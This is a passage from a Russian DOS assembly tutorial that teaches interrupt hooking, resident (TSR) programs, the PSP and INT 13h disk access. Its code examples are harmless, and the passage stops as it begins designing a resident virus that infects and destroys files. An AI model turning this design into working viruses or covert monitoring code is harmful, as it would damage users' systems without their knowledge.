Comander-а и запустить Volkov Comander (если у Вас его еще нет -- настоятельно советуем приобрести !). Volkov Comander позволяет по нажатию комбинации клавиш Alt/F5 показать карту памяти PC и Вы можете уда- лить любой резидент, загруженный после Volkov Comander-а. А теперь -- коментарии к примеру 4: Чтобы после выполнения программы выйти в DOS и одновременно оставить прогр-му резидентной всего-то лишь и нужно: ВМЕСТО КОМАНДЫ RET ДАТЬ ПРЕРЫВ-Е INT 27h и при этом в регистр DX нужно поместить адрес последнего оператора остающегося резидентно куска+1. Адрес этот = смещению от PSP программы (если не знаете ничего о PSP, то почитайте хотя бы /1/; или -- чуть подождите, мы кратко расскажем об этом позднее -- в гл.5). Прерывание INT 27h -- програм- мное прерыв-е. П/п-ма его обработки изменяет структуру ОЗУ так, что часть па- мяти теперь навечно закреплена за фрагментом Вашей программы. Итак, мы оставили в ОЗУ резидентный фрагмент, который печатает букву 'a'. Вопрос -- когда же он будет выполняться? А вот -- никогда! Вернее -- всего один раз - когда мы оставляли резидент в памяти. Но, тем не менее, он останется в ОЗУ. Он больше никогда не получит управление. Это - настоящий программный труп, который просто занимает место. Ради прикола запустите эту программу еще разок. И в ОЗУ останется еще один памятник глупости. Расботая в Volkov Comander-е, нажав Alt/F5, Вы можете в этом убедиться. Сколько бы раз эта программа не запускалась - каждый раз она будет отхватывать все новые и новые кусочки памяти и оставлять в них код печати буквы 'a', который никогда больше не будет выполнен. Но ведь резиденты пишутся не для этого! Они остаются в памяти ДЛЯ того, чтобы в ОПРЕДЕЛЕННЫЕ МОМЕНТЫ получать управление и выполнять определенные действия. Когда и каким образом? ПРИ ПОМОЩИ МЕХАНИЗМА ПРЕРЫВАНИЙ! ПОДРОБНЕЕ: Что будет если программа заменит в таблице векторов прерываний адрес ис- ходной п/п-мы обработки прерывания на адрес своей собственной п/п-мы? В этом случае, в момент, когда будет дано это прерыв-е, управление получит эта ейная п/п-ма. Возникнет некий самозванец, который будет обрабатывать прерывание по своему. Например, -- вы нажали букву "А", а PC напечатал в на экране "О"; Вы начали печатать документ на принтере, а одновременно его текст запишется в специальный скрытый файл (пример шпионящего "дракона"); программа TETRIS.EXE загружена на выполнение (прерывание 21h), а вирус "почуял" это и впридачу к запуску программы "заразил" ее своей копией. Прерывания происходят постоянно, и если, окончив свою работу, прогр-ма, на адрес которой был заменен вектор прерывания, исчезнет из памяти - "умрет" и при этом не восстановит исходное значение вектора (адрес исходной п/п-мы обработки прерывания), то PC по-прежнему всякий раз, когда будет генериться прерывание, будет передавать управление в область, где раньше сидел самозван- ный обработчик, а теперь остался лишь мусор. И PC зависнет (в лучшем случае). Зависнет намертво. Следовательно, если мы решимся перехватить прерывание то существуют только две возможности: 1. Либо, если мы не будем сажать в память резидент, то, перед тем как "умрем", отреставрируем адрес исходного обработчика прерываний; 2. Либо мы не будем реставрировать адрес исходного обработчика прерыва- ний, и, сохранив прерогативу обработки прерывания за собою, оставим наш ори- гинальный обработчик резидентно в памяти; Нас интересует второй вариант, т.к. созданные нами программы будут кон- тролировать работу PC во время всей DOS-овской сессии, во время выполнения других программ, во время всех действий пользователя (который об этом и знать не будет). ОЧЕНЬ ВАЖНОЕ ДОБАВЛЕНИЕ -- очень часто стандартная п/п-ма обработки пре- ─────────────────────── рывания все же ДОЛЖНА его обработать, независимо от того, обрабатывали ли мы его сами. Следовательно, после того, как Вы, пе- рехватиши вектор, в момент генерации прерывания сделали то что Вам нужно, Вы все же должны отдать управление исходному обработчику. Это похоже на случай, когда некто с целью наварить баксов перехватывает выгодный подряд на строи- тельство моста, но сам, не будучи строителем, все же вынужден нанять про- фессионалов (выдать субподряд). РЕЗЮМИРУЕМ: вот что нам нужно сделать, чтобы создать активный резидент, реагирующий на появление определенного прерывания и не грохающий работу PC: 1. Сохранить в своем теле адрес истинного обработчика прерыв-я. 2. Заменить в таблице векторов адрес истинного обработчика прерыв-я на адрес собственной п/п-мы. 3. Завершить программу, оставив собственную п/п-му обработки прерывания в памяти PC резидентно. 4. Сконструировать резидентную часть так, чтобы после обработки перехва- ченного прерывания позволить исходному обработчику тоже его обработать. Если представить все это наглядно, то получится, что наш резидент вкли- нивается в некую цепочку осуществляющую реагирование PC на некое прерывание. Вот какая была цепочка до нас: ┌──────────────────────────────────────────────────────────┐ │ рис.3 │: └──────────────────────────────────────────────────────────┘ │ │ ┌─────┐ ┌─────>выполняется │ \ │ / ├┬┬┬┬┬┤ │ п/п-ма └ ─ * ─ ────────> ┌┼┼┼┼┼┼┤ │ обработки / │ \ │├┴┴┴┴┴┤ │ (стандартная) возник ││ │ │ IRET────────────┐ сигнал -- │└─────┘ │ │ -- прерывание └в таблице ─────────┬───┘ │ векторов делается │ ┌──────────────┐ найден адрес переход │ V └┐ обработчика по этому │ │ (стандартного) адресу │ │ │ └──────┬─────────────────────────────────────────┘ делается переход обратно - в пользовательскую программу, в ту точку, перед которой прерыв-е возникло А вот какая стала цепочка после того, как мы перехватили прерыв-е │ ╔════════════════════════════════╗ │ ┌─────┐ ║ ┌─────>выполняется ║ │ \ │ / ├┬┬┬┬┬┤ ║ │ ───НАША──── ║ └ ─ * ─ ────────> ┌┼┼┼┼┼┼┤ ║ │ п/п-ма обработки ║ / │ \ │├┴┴┴┴┴┤ ║ │ (она резидентна) ║ возник ││ │ ║ │ │ ║ сигнал -- │└─────┘ ║ │ └────>──────┐ ║ -- прерывание └в таблице ────>────┬───┘ │ ║ векторов ║ делается │ ║ ┌───────────┐ найден адрес ║ переход │ ║ │ └┐ ───НАШЕГО──── ║ по этому │ ║ V └┐ обработчика ║ адресу │ ║ │ ║ возвращаем │ ║ │ ║ управление │ ║ │ ║ стандартно- ────┤ ║ │ ║ му обработ- │ ║ │ наше новое─╢ чику (JMP Far) │ ║ │ звено ╚═════════════════════════════│══╝ │ ┌────────<───────┘ │ выполняется │ п/п-ма │ обработки │ (стандартная) │ IRET─────────────────┐ └────────┬─────────────────────────────────────────┘ делается переход обратно - в пользовательскую программу, в ту точку, перед которой прерыв-е возникло Прочитаем еще раз пп.1-3 РЕЗЮМЕ. А ведь все это мы уже делали! (правда по отдельности) Попробуем теперь сделать все вместе. Т.е. перехватим какое-нибудь прерывание <=> сделаем для него резидентный обработчик. Какое прерывание выбрать? Предложим для простоты прерывание N 5 (печать экрана). Оно возникает, если Вы нажмете клавишу Print Scrin. Вызываемая при этом п/п-ма печатает на принтере копию экрана PC. Прерывание N 5 не требует и не возвращает никаких параметров (чУдно!), и еще его не обязательно возвра- щать стандартному обработчику; ничего не случится, если Вы его зажмете (весь- ма редкое свойство). Вы наверное не раз замечали что если Вы нажмете Print Scrin, а принтер не готов -- раздается гудок, -- это стандартный обработчик прерывания N 5 'назвал' Вас раздолбаем). Создадим-ка резидент, который, перехватывая прерывание N 5 , ну ска- жем,.. выведет на экран 'сердечко' (символ с кодом 3), и после этого возвра- тит управление стандартному обработчику (вежливость - высшая добродетель). Таким образом, при нажатии Print Scrin сначала будет напечатано 'сердечко' (работает наш резидентный обработчик), а уже потом раздастся гудок (заработа- ет стандартный обработчик и обругает Вас за отключенный принтер). Итак -- вперед! (подробно прокоментируем ниже) ┌──────────────────────────────────────────────────────────┐ │ пример 5 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N5 для демонстрации посадки резидента ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 05 ; ; на инициализирующую часть ; ; saved_int05: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 05 -- ; ; -- 2 слова) ; ;┌──────────наша п/п-а обработки прерывания 05──────────────────┐ ;│ (она останется резидентной в памяти) │ ;│ здесь мы можем приколоться как хотим.. │ ;│ ; │ int05_treater:PUSH AX ; │ ; ; │ MOV AH,0Eh ;входные параметры прерыв-я 10h:│ MOV AL,03h ; (печатать 'сердечко' - код 03) INT 10h ;печатаем 'сердечко' │ ; ; │ POP AX ;PUSH и POP ОЧЕНЬ важны (см. ко-│ ; ; ментарий после примера) │ ; ; │ ; ; │ JMP dword ptr CS:[saved_int05] ; длин. JMP по адресу, котор. │ rezident_end: ;│ ; находится теперь в хранилище │ ;│ ; saved_int05 (возвращаем управ-│ ;│ ; ление стандартному обработчику│ ;│ ; прерывания 05) │ ;└──────────────────────────────────────────────────────────────┘ ; ; ;┌──────────инициализирующая часть──────────────────────────────┐ ;│ (здесь мы сажаем резидент, переопределяя адреса) │ ;│ ; │ initial: XOR DX,DX ; ───┐ │ MOV DS,DX ; ───┴──> DS = 0 │ ; ; │ MOV AX,DS:[5*4] ;сохраняем в хранилище saved_ MOV word ptr CS:[saved_int05 ],AX ; int05 адрес стандартного │ MOV AX,DS:[5*4+2] ; обработчика прерывания 05│ MOV word ptr CS:[saved_int05+2],AX ; ( OFFSET и SEGMENT ) │ ; ; │ ; ; │ CLI ;запрещаем прерывания │ MOV AX,OFFSET int05_treater ; │ MOV word ptr DS:[5*4],AX ;кладем в таблицу векторов │ PUSH CS ; адрес нашего обработчика │ POP AX ; прерывания 05 │ MOV word ptr DS:[5*4+2],AX ; │ STI ;разрешаем прерывания │ ; ; │ ; ; │ MOV DX,OFFSET rezident_end ;DX<──конец резид. части │ INT 27h ;закончить программу и │ ;│ ; вернуться в DOS, оставив │ ;│ ; резидентной п/п-му │ ;│ ; int05_treater │ ;└──────────────────────────────────────────────────────────────┘ MainProcedure ENDP ; CodeSegment ENDS END Start коментарии: Сначала упростим текст программы до наглядной схемы, чтобы лучше все по- нять: ┌──────────────────────────────────────────────────────────┐ │ рис.4 │: └──────────────────────────────────────────────────────────┘ ┌────────────┐ │JMP initial╞══════>═══════>════>╗ перепрыгнем через данные └────────────┘ ║ и наш обработчик прер-я 05 saved_int05: ┌────────────────────────────┐ V на инициализирующую часть │данные: (хранилище для │ ║ └─────────┬─────────┘ │адреса стандартного обра - │ ║─────────────┘ │ботчика прерывания 05 -- │ ║ │-- 2 слова) │ ║ └────────────────────────────┘ ║ V int05_treater:────────────────────────────┐ ║ │наша п/п-ма обработки │ ║ │прерывания 05 (она оста- │ ║ │нется резидентной в памяти) │ V rezident_end:└────────────────────────────┘ ║ ║ ╔═════════<═════════════<════════════<═╝ ║ ║ ╚═> ┌────────────────────────────┐ initial: │инициализирующая часть │ │(здесь мы сажаем резидент, │ │переопределяя адреса │ │ │ │MOV DX,OFFSET rezident_end │ │INT 27h (выход в DOS) │ └────────────────────────────┘ Как видно из рисунка, прогр-ма состоит из двух главных частей: той, что остается в памяти резидентно и не выполняется при запуске самой прогр-мы (данные + наша п/п-ма обработки прерывания 05), и -- инициализирующей части. Почему порядок следования этих частей именно такой? Почему инициализирующая часть не остается в памяти резидентно? Почему наша п/п-ма обработки прерывания 05 начинается оператором PUSH AX и заканчивается оператором POP AX? Что за новые операторы CLI и STI? Ответы: ────── Инициализирующая часть не остается в памяти резидентно, т.к. она не вхо- дит в п/п-му обработки прерывания 05, она нужна лишь для посадки резидента в память и перенаправления вектора прерывания на него. Здесь уместна аналогия с запуском орбитального спутника: ракета-носитель <инициализирующая часть>, вы- водит на орбиту спутник-шпион <резидентная часть>. При этом сама ракета-носи- тель разрушается и на орбиту не попадает. О порядке следования. Если бы сначала шла инициализирующая часть, а по- том - резидентная, то мы были бы вынуждены сделать резидентным и инициализи- рующий кусок, ибо резидентным становится все, начиная от PSP и до того адре- са, который мы поместим в DX перед генерацией INT 27h. Оставление в резиден- туре инициализационной части приведет к расходованию лишней памяти (очень ценного ресурса). ЗАМЕЧАНИЕ: вот в случае создания резидентного вируса инициализирующая часть обязана быть резидентной, так как ВИРУСУ ДОЛЖЕН БЫТЬ ДОСТУПЕН ВЕСЬ СОБ- СТВЕННЫЙ КОД. Лишь при этом условии вирус сможет себя куда-нибудь запихнуть. Вот зачем появились операторы CLI и STI: в момент, когда мы вручную (при помощи команд пересылки) заменяем адрес в таблице векторов, может произойти вызов того самого прерывания, которое мы перехватываем. Если одно слово заме- нено, а другое - еще нет -- будет маленький Чернобыль (семь бед - один RESET). На время замены вектора надо временно запретить вызовы прерываний (команда CLI), после окончания замены -- разрешить вновь (команда STI). Ко- манда CLI запрещает все прерывания, кроме немаскируемого NMI. Зачем в начале нашей п/п-мы обработки прерывания 05 торчит PUSH AX, а в конце -- POP AX? Слушайте СУПЕРПРАВИЛО: ┌СУПЕРПРАВИЛО───────────────────────────────────────────────────────────────┐ │ Если п/п-ма обработки прерыв-я в процессе работы портит какой-либо ре-│ │гистр, то перед окончанием своей работы она обязана вернуть ему прежнее│ │значение. Чаще всего это делается так: перед началом работы этот регистр│ │роняется в стек, а перед окончанием достается обратно. (Есть и другие спо-│ │собы). │ └───────────────────────────────────────────────────────────────────────────┘ В заключение главы сварганим еще один резидент, который будет гудеть, стОит лишь нам запустить какую-либо программу. Сажать его мы будем на обра- ботку прерывания 21h - "Прерывания DOS" (функция 4Bh) : коментарии см. ниже ┌──────────────────────────────────────────────────────────┐ │ пример 6 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N6 для демонстрации посадки резидента ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 21 ; ; на инициализирующую часть ; ; saved_int21: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 21 -- ; ; -- 2 слова) ; ;┌──────────наша п/п-а обработки прерывания 21──────────────────┐ ;│ (она останется резидентной в памяти) │ ;│ ;здесь мы можем приколоться как │ int21_treater:;│ ; хотим.. │ PUSH AX ; │ CMP AH,4Bh ;вызвана ф-я 4Bh прерыв-я 21h │ JNE not_beep ; (запуск программы) -- если │ MOV AX,0E07h ; нет - гудеть не будем │ INT 10h ;давать гудок (печать - символа │ not_beep: POP AX ; с кодом 07) │ ; ;PUSH и POP ОЧЕНЬ важны сами │ ; ; знаете теперь почему │ ; ; │ JMP dword ptr CS:[saved_int21] ; длин. JMP по адресу, котор. │ rezident_end: ;│ ; находится теперь в хранилище │ ;│ ; saved_int21 (возвращаем управ-│ ;│ ; ление стандартному обработчику│ ;│ ; прерывания 21) │ ;└──────────────────────────────────────────────────────────────┘ ; ; ;┌──────────инициализирующая часть──────────────────────────────┐ ;│ (здесь мы сажаем резидент, переопределяя адреса) │ ;│ ; │ initial: XOR DX,DX ; ───┐ │ MOV DS,DX ; ───┴──> DS = 0 │ ; ; │ MOV AX,DS:[21h*4] ; сохраняем в хранилище saved_ MOV word ptr CS:[saved_int21 ],AX ; int21 адрес стандартного │ MOV AX,DS:[21h*4+2] ; обработчика прерывания 21 │ MOV word ptr CS:[saved_int21+2],AX ; ( OFFSET и SEGMENT ) │ ; ; │ ; ; │ CLI ;запрещаем прерывания │ MOV AX,OFFSET int21_treater ; │ MOV word ptr DS:[21h*4],AX ;кладем в таблицу векторов │ PUSH CS ; адрес нашего обработчика │ POP AX ; прерывания 21 │ MOV word ptr DS:[21h*4+2],AX ; │ STI ;разрешаем прерывания │ ; ; │ ; ; │ MOV DX,OFFSET rezident_end ;DX<──конец резид. части │ INT 27h ;закончить программу и │ ;│ ; вернуться в DOS, оставив │ ;│ ; резидентной п/п-му │ ;│ ; int21_treater │ ;└──────────────────────────────────────────────────────────────┘ MainProcedure ENDP ; CodeSegment ENDS END Start коментарии: ─────────── Единственное, что здесь для Вас ново - характер обработки прерыв-я 21h. Мы подробней изучим его дальше, а здесь отметим лишь, что это прерыв-е содер- жит офигительное количество функций, т.е. в п/п-ме его обработки содержится множество суб-подпрограмм, каждая из которых вызывается в определенных обсто- ятельствах. Здесь резидент вешается на суб-подпрограмму которая вызывается в момент запуска на выполнение исполняемой программы (функция 4Bh). Говоря по-русски, -- как только Вы запустите на выполнение какую-либо программу (например TETRIS.EXE), будет сгенерировано прерывание 21h, - управление будет передано соответств. п/п-ме обработки. При этом в регистре AH будет находить- ся число 4Bh (входной параметр), которое означает, что внутри п/п-мы обработ- ки прерыв-я 21h, управление, в свою очередь, будет передано суб-подпрограмме, которая и осуществит запуск файла TETRIS.EXE. Сущность нашего перехвата прерывания 21h такова: как только возникло прерывание, и управление перешло к нашему резиденту мы сравниваем значение AH с 4Bh. Если AH=4Bh (запускается какая-то программа), то мы даем гудок и пере- даем управление в руки хозяина (функции 4Bh) -- делаем длинный джамп. Если же вызванная функция -- не 4Bh, то мы возвращаем управление, что называется, без звука. Экспериментируя с этим резидентом, мы обнаружим, что при запуске прог- рамм может раздаваться несколько гудков. Дело в том, что запускаемые нами программы могут, в свою очередь, запускать свои дочерние процессы. Крайне часто запускаются Norton и COMMAND.COM. гл.5 ЧУТЬ-ЧУТЬ О PSP (как и обещали) ═════════════════════════════════════════════════════════════════════════════ PSP расшифровывается так: префикс программного сегмента (Programm Segment Prefix). Где, когда и как он возникает? Каждый раз, когда какая-либо программа (ЕХЕ- или СОМ-файл) запускается на выполнение, для нее в памяти создается PSP. Сама программа считывается в память сразу за PSP. Длина PSP составляет 256 (100h) байт. В PSP содержится много всяких штучек. Мы покажем Вам лишь те, которые, возможно, понадобятся нам в дальнейшем. смещение │длина │ от нача- │(в бай-│ содержимое ла PSP │тах) │ ─────────┼───────┼─────────────────────────────────────── 00 │ 2 │ код команды INT 20h (CD20h) │ │ 02 │ 2 │ размер доступной сейчас памяти │ │ (в параграфах по 10h) │ │ 2Ch │ 2 │ сегментный адрес среды для хранения │ │ ASCIIZ-строк │ │ 80h │ 20h │ область передачи данных DTA Прерывание INT 20h. Что за фигня? Если в программе дать такое прерыва- ние, то выполнение ее будет завершено и управление вернется DOS. Совсем как после команды RET. А как Вы думаете, - как работает команда RET? Команда эта выполняет действие . А в стеке, сразу после загрузки СОМ-программы на выполнение, лежит 0. Таким образом после команды RET управление передается по адресу CS:00, т.е. на начало PSP, т.е. на команду INT 20h. Обо всех прочих объектах Вы подробнее узнаете позднее. гл.6 ПЕРВАЯ ПАКОСТЬ (создание ублюдочного резидентного вируса, грохающего за- ражаемую программу) ═════════════════════════════════════════════════════════════════════════════ КОМЕНТАРИЙ К ЗАГЛАВИЮ: этот бездарный вирус показан здесь как анти-при- мер для подражания и лишь для повышения Вашей образованности на достаточно простом и наглядном материале. Вообще -- вирусы, необратимо грохающие прог- раммы, создаются, как правило, либо - человеконенавистниками, либо - програм- мистами, пока что еще слабо владеющими мастерством, либо - в погоне за рекор- дом (например - рекордно короткая длина), либо - чтобы реализовать конкретный алгоритм в условиях сильных внешних ограничений (например вирус должен быть не длиннее одного сектора - 512 байт). Наш случай (смеем надеяться) не подхо- дит ни под одну из этих категорий. Что касается нашего первого вируса, то он будет вот каким: Вирус будет резидентным. Резидент будет обрабатывать по-своему операции чтения/записи на HDD. Как только резидент обнаружит, что с HDD читается годный для заражения файл, он тут же запишет в него свою копию. Причем запишет таким образом, что при запуске пораженного файла тот создаст новую резидентную копию вируса. Цикл функционирования вируса замкнется. Чтобы выполнить задуманное, нам необходимо еще кое-что узнать. Кое-что о жестком диске PC (HDD, он же - "винчестер") и о гибких дисках (FDD). Информацию можно читать/писать на HDD только фиксированными порциями - секторами. Как правило, для HDD длина сектора составляет 512 байт. За один раз на HDD можно записать/прочитать несколько секторов. Т.о. за каждое обра- щение к HDD на него можно записать/прочитать количество байт, СТРОГО КРАТНОЕ 512. Нельзя, например, записать/прочитать 1,65,513,1033 байт, но можно -- 512,1024,1536,... Как PC находит нужные ему сектора? Чтение и запись на HDD осуществляется не совсем так, как на магнитофон. В магнитофоне чтобы найти и считать/запи- сать информацию нужно задать ее координату от начала ленты -- система ОДНО- МЕРНА. При этом Вы должны пролистать ВСЮ предшествующую информацию. Скорость такого процесса весьма мала. Такую фигню называют устройством последователь- ного доступа. В HDD реализован другой принцип. HDD - это - трехмерное инфор- мационное пространство и информацию в него писать/читать можно как в ТРЕХМЕР- НЫЙ массив. Это же круто! Скорость офигительная, износ - минимальный. Итак, можно представить HDD как трехмерный массив, элементами которого являются сектора. Индексы-измерения этого массива будут называться вот как, и иметь вот какие диапазоны изменения: индекс-измерение │ диапазон изменения ─────────────────────────────┼─────────────────── сторона (side) │ 0,...,N──┐ │ ├──для разных цилиндр (cylinder) │ 0,...,M──┤ HDD - разные │ │ значения сектор (sector) │ 1,...,L──┘ Измерение "сектор" пока что не смешивайте с элементарной неделимой еде- ницей читаемой/пишущейся информации, так же именуемой "сектор". Вот как понял бы приведенное выше описание HDD PASCAL-ист: Type Sector = array [1..512] of byte; Var HDD : array [0..N, 0..M, 1..L] of Sector; └┬─┘ └┬─┘ └┬─┘ ├─────┼─────┼───────── для разных HDD side cylinder sector разный верх. предел Когда операционная система MS-DOS работает с файлами, она на самом деле имеет дело с отдельными секторами и группами секторов, в которых размещается содержимое файла. Если Вы желаете подробнее познакомиться со структурой HDD, - то прочи- тайте нижеследующий кусок текста, - нет -- джампуйте через него - информации у Вас для понимания дальнейшего материала в принципе достаточно. Если не хотите о HDD подробнее -- следуйте за стрелкой: ══>══════════════>══╗ V ║╗ структура диска╔║ ║ ║╚══(подробнее)═══╝║ На физическом уровне HDD состоит из нескольких плоских ║ ╚══════════════════╝ (наверное - жестких) дисков, намертво закрепленных на ║ общей оси (своего рода - этажерка). Первое измерение этого трехмерного квази- ║ массива называется "сторона"(side). Верхняя сторона верхнего диска "этажерки"- V ║ ┌──────────────────────────────────────────────────────────┐ ║ │ рис.5 │: ║ └──────────────────────────────────────────────────────────┘ ║ ║ ось─┐ ┌────> side 0 Измерение "сторона" ║ └────>║│ │ V ════════════════х════════════════ пределы изменений: 0..N, ║ диски┌┬┘ ║│ └────> side 1 где N -- для разных HDD ║ │└┐ ║│ ┌────> side 2 -- различно ║ ══════│═════════х════════════════ ║ │ ║│ └────> side 3 ║ │ ║│ ... ║ └─┐ ║│ ┌────> side N-1 ║ ════════════════х════════════════ V ║│ └────> side N ║ ║ -- это side 0, а нижняя - side 1; верхняя сторона следующего диска -- side 2, ║ а нижняя - side 3. И т.д. - см. рис. 5. ║ Следующее измерение называется "цилиндр" (cylinder) . Надеемся искренне, ║ что, гдядя на рис. 5, Вы все же сможете ухватить нашу мысль (поясним лишь, ║ что здесь средствами уголковой графики мы попытались изобразить "двухэтажный" ║ диск). Цилиндр - пространство на ВСЕХ дисках "этажерки", находящееся на опре- V деленном расстоянии от мест закреплений дисков на оси. Т.е. это - совокуп- ║ ность концентрических дорожек одного радиуса на ВСЕХ сторонах HDD. Цилиндры ║ нумеруются так: 0..M, где M -- для разных HDD -- различно. ║ ║ ┌──────────────────────────────────────────────────────────┐ ║ │ рис.6 │: ║ └──────────────────────────────────────────────────────────┘ ║ верхний V диск ──┐ ║ "этажерки"│ ┌─────────────┬─────────────┐ ║ │ ┌────────\ │ /└────────┐ ║ │ ┌───┘ \───────────┤──────────/───┐ └───┐ ║ ┌───┘ ┌────────┘ \ │ / └────────┐ └───┐ ║ ┌───┘ ┌───┘ ┌─\───────┼──────/──┐ └───┐ └───┐ ║ ┌─┘ ┌───┘ ┌─────────┘ \ │ / └─────────┐ └──┐ └─┐ ║ ┌┘ ┌──┘ ┌────┘ \──╫╢╟─/─┐ └─────┐ └──┐ └┐ V │ ┌─┘ ┌──┘ ┌────┘ \║║║ └──┐ └───┐ └┐ │ ║ ├───╬╦╦╦╦╦╬──────────────────┼───────╜║╙──────┼─────────────────────┼────┼──┤ ║ │ ╚╩╬╬╬╬╬╦╦┐ └────┐ / │ \ ┌──┘ ┌───┘ ┌┘ │ ║ └┐ ╚╩╬╬╬╬╬╬┬┬┬┬┐ /───┼───\┘ ┌─────┘ ┌──┘ ┌┘ ║ └─┐ │╚╩╩╩╣││││├┬┬┬┬┬┬┬┬┬┐ / │ \ ┌─────────┘ ┌────┘└┬┘┌─┘ ║ └───┐│ └┴┴┴┤││││││││││╟─╖╓╥╥╥╥╥╥┼─────────┘ └┬┘ ┌───┘ ┌─┼─┘ ║ └┼──┐ └┴┴┴┼┴┴┴┴┘│/║║║║║║║║║│ \ ┌─────┼───┘ ┌───┘ │ ║ │ └───┐ │ /─╨╨╨╨╨╨┼╨╨╨┼───────────\ │ ┌───┘ │ V │ └─────┼──/ │ │ \───┼────┘ │ ║ │ │ └─────────┼──╥┼╥────────────┘ │ │ ║ │ │ │ ║║║ │ │ ║ сентор 3──┘ │ │ ║║║ ┌──────┴────┐ ┌──────┴────┐ ║ │ │ │ ║║║──┐ │ цилиндр 1 │ │ цилиндр 0 │ ║ │ │ │ ║║║ │ │(стОроны │ │(стОроны │ ║ │ сентор 2 ──────┘ │ ║║║ ось │ 0,1,2,3)│ │ 0,1,2,3)│ V │ │ │ ║║║ └──────┬────┘ └──────┬────┘ ║ │ │ сентор 1 ─────────┘ ║║╟────────────┐ │ │ ║ │ │ │ ║║║ /└───┼────┐ │ ║ │ │ │ ║║╟─────────/───┐ │ └───┐ │ ║ │ │ │ ║║║ / └──┼─────┐ └───┐ │ ║ на цилиндре с номером 1 ║║╟─────/──┐ ┌┴┐ └───┐ └─┼┐ ║ (из рис. не просЕчь - на какой стороне)║║║ / └─────────┐ └──┐┌┤└─┐ ║ ║║╟─/─┐ └─────┐ └──┐ └─┐ V ║║║ └──┐ └───┐ └┐ │ ║ ╙║╙──────┼─────────────────────┼────┼──┤ ║ | \ ┌──┘ ┌───┘ ┌─┘ │ ║ возможно - сектора нумеруются против \───\┘ ┌─────┘ ┌──┘ ┌─┘ ║ часовой стрелки - нам это как-то | \ ┌─────────┘ ┌───┘ ┌─┘ ║ пО фигу /───────\─┘ ┌───┘ ┌──┘ ║ | \ ┌─────────┘ ┌───┘ V \───────────\ ┌───┘ ║ | \────────┘ ║ /─────────────┘ ║ ║ Третье измерение HDD -- "сектор" -- угловое расстояние от определенной ║ точки на каком-либо цилиндре какой-либо стороны HDD. Секторы нумеруются по ║ возрастанию углового расстояния. Нумеруются они так: 1..L (НЕ С 0, КАК ЦИЛИН- V ДРЫ И СТОРОНЫ!), где L -- для разных HDD -- различно. ║ Отметим, что пересечение цилиндра со стороной образует дорожку (track) ║ -- одну окружность на одной из сторон. Так вот, -- дорожка состоит из следу- ║ ющих друг за другом секторов. ║ Задав все три координаты, мы однозначно задаем определенное место на ║ HDD. Вообще говоря, эта фигня сильно напоминает цилиндрические координаты. ║ ╔══<═══════════════<═══════════════════<═════════════════════<═══════════════<═══╝ V Что же касается гибких дисков -- дискет (FDD), то все вышесказанное справедливо и для них. У FDD всего 2 стороны -- 0 и 1. Больше, пока что, и добавить нечего. Теперь вопрос: На что же мы посадим наш резидент? Для этого здесь должно быть какое-то прерывание. И оно имеется. Прерывание, по которому PC чита- ет/пишет на HDD и FDD сектор (группу секторов). Прерывание 13h. Опишем его. │прерывание 13h│─────очень-очень важная фенька └──────────────┘ PC читает и пишет файлы на HDD посекторно. А секторА он читает/пишет при помощи специального прерывания 13h. Это программное прерывание, генерируемое Вами (а не аппаратурой) при помощи команды INT 13h. Вот какие у него входные и выходные параметры: ┌─ MOV AH, (признак операции: 2-читать,3-писать,и пр.) │ MOV AL, сколько секторов читать/писать │ MOV CH, цилиндр──┐ входные параметры───┤ MOV CL, сектор ├─координаты записи (заполняем перед │ MOV DH, сторона──┘ вызовом INT 13h) │ MOV DL, дисковод (0 - A:, 1 - B:, 80h - HDD) │ MOV BX, офсет────┐ └─ MOV ES, сегмент──┴──адрес буфера ввода/вывода ┌──────────────────────────────────────────────────────────┐ │ INT 13h -- вызов п/п-мы чтения/записи секторов │ └──────────────────────────────────────────────────────────┘ ┌─ CF (флаг переноса) содержит индикацию ошибки │ 0 - ошибок не было, 1 - произошла ошибка │ │ в AL - содержится кол-во действительно обработанных │ секторов, выходные параметры─┤ (имеем в PC после │ в AH - если CF=1 (произошла ошибка) -- код ошибки вызова INT 13h) │ └─ по адресу ES:BX -- прочитанный сектор (группа секторов) -- в случае, если была операция чтения Вот пример использования INT 13h; здесь мы хотим прочитать в ОЗУ MBR-"винчестера" (что это такое - объясним позднее) предположим, для како- го-то исследования: ┌──────────────────────────────────────────────────────────┐ │ пример 7 │: └──────────────────────────────────────────────────────────┘ ;────────────────────────────────────────────────────────────┐ ; заготавливаем входные параметры для п/п-ы обработки INT 13h│: ;────────────────────────────────────────────────────────────┘ MOV AH, 02 ; признак операции: читать MOV AL, 01 ; сколько секторов читать: 1 сектор MOV CH, 00 ; цилиндр: 0─┐ MOV CL, 01 ; сектор : 1─┼─координаты MBR-"винчестера" MOV DH, 00 ; сторона: 0─┘ (см. объяснение выше) MOV DL, 80h ; дисковод: HDD MOV BX,OFFSET bufferIO ; ───офсет───┐ буфер ───┐ т.е. в какое PUSH CS ; ──┐ ├─вво- ├─ место в ОЗУ POP ES ; ──┴сегмент─┘ да/вывода ─┘ надо читать ; данный сектор ;───────────────────────────────────────────────────────┐ ; даем вызов п/п-ы чтения сектора │: ;───────────────────────────────────────────────────────┘ INT 13h ;───────────────────────────────────────────────────────┐ ; анализируем результаты вызова п/п-ы чтения секта │: ;───────────────────────────────────────────────────────┘ JNC no_errors ; если CF=0 (ошибок нет) -- едем дальше CALL errors_treatment ; если же CF=1 (произошла ошибка), вызываем ; процедуру обработки ошибки no_errors: ; если ошибок нет, то по адресу ES:BX в ОЗУ ; мы найдем прочитанный сектор с координатами ; цилиндр=0, сектор=1, сторона=0 (дисковод HDD), ; т.е. - MBR-"винчестера" Наш примитивный вирус будет заражать определенный файл, когда его рези- дентная часть обнаружит, что этот файл считывается с HDD в оперативку. Испол- няемые программы считываются в ОЗУ, как правило, в момент запуска на выполне- ние, => заражение будет происходить в момент перед запуском. Отметим, что за- ражение произойдет и в случае простого просмотра файла (например - программой wpview.exe - при нажатии F3). Возникает вопрос: как наш резидент 